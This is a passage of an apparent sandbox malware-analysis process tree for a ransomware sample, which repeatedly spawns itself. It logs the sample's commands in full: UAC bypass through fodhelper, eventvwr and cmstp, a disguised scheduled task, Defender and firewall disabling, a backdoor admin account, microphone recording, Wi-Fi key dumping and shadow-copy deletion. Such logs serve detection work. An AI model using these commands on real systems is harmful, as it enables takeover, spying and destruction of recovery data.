  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3244
- - C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
    3⤵
    PID:1208
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4368
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\19129901-9cc8-4e26-bb55-7891a9d2e655.inf
      4⤵
      PID:2796
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1384
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5856
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4540
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:6356
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6748
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\088f26ae-3700-4620-9d55-94365200ca16.inf
        6⤵
        
        PID:1892
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6776
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6156
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:796
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        7⤵
        
        PID:7464
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6368
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b9e9fd91-4798-45b0-ba4d-52bdf0949fd5.inf
        8⤵
        
        PID:6656
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7808
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7816
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7472
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        9⤵
        
        PID:8868
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2968
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e0828451-0efd-4e22-b47b-2845dd66e3dc.inf
        10⤵
        
        PID:9128
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7848
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:1908
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8980
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        11⤵
        
        PID:9964
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11464
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4db7db83-ffff-4423-8897-1f03a4ef6e3c.inf
        12⤵
        
        PID:12136
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:10636
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:2832
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:12320
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        13⤵
        
        PID:9360
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15704
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\899e4df7-06f0-4c47-8a02-a2b437f6cac1.inf
        14⤵
        
        PID:16112
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:3764
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:15204
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:15580
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        15⤵
        
        PID:6932
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10780
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0dc1c26b-053c-4678-b61a-7b7d095d00da.inf
        16⤵
        
        PID:15296
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:6348
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:6184
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:12696
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        17⤵
        
        PID:13540
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3916
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\15175bd0-9ef0-4fcc-997f-827c3a764bad.inf
        18⤵
        
        PID:11712
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:14476
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:14496
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:10540
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        19⤵
        
        PID:8364
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6368
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\90b3bea7-f6f5-4c45-8b98-0a232fee8908.inf
        20⤵
        
        PID:15436
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:14912
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:15168
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:10780
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        21⤵
        
        PID:5692
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4644
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\936e7331-834f-4dd6-bc06-7cc9503a3c73.inf
        22⤵
        
        PID:14592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11680
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:15808
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:12980
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:5988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:13824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7260
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:14152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:7756
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:16360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:5500
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:6564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13536
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        
        PID:1396
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:6172
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:10792
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:13972
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:9792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980998278738.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9744
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14172
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:5148
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:10612
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:8096
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:13196
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:12924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15712
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:13056
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:14648
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:10148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:11096
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:14784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980734077132.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13836
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2656
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:6868
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:12692
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:15744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:10408
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:10212
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:14540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12328
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:5276
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:14068
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:10728
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:4308
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:3012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980484542569.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12376
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11196
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:13448
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:11448
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:15244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:16232
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:8812
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:10856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8768
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:10664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:10572
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:8580
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9880
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:6504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980350140588.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15832
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13800
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:10416
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:1712
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:3708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:9580
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:6328
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:6260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7876
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8944
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:9204
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8236
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:2692
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:11240
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980253126701.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14436
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14848
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:15044
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:15296
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:15588
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:8388
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:16216
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:15124
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4468
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:8112
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7340
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:8520
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:9116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980141572121.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11980
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6812
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:12888
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:14656
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:14852
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:14440
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:14728
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:8120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:440
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6628
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:4536
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:3144
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6808
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278980036799467.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8320
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6416
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11292
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:12632
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:12940
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:15092
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11200
  - - C:\Windows\System32\sc.exe
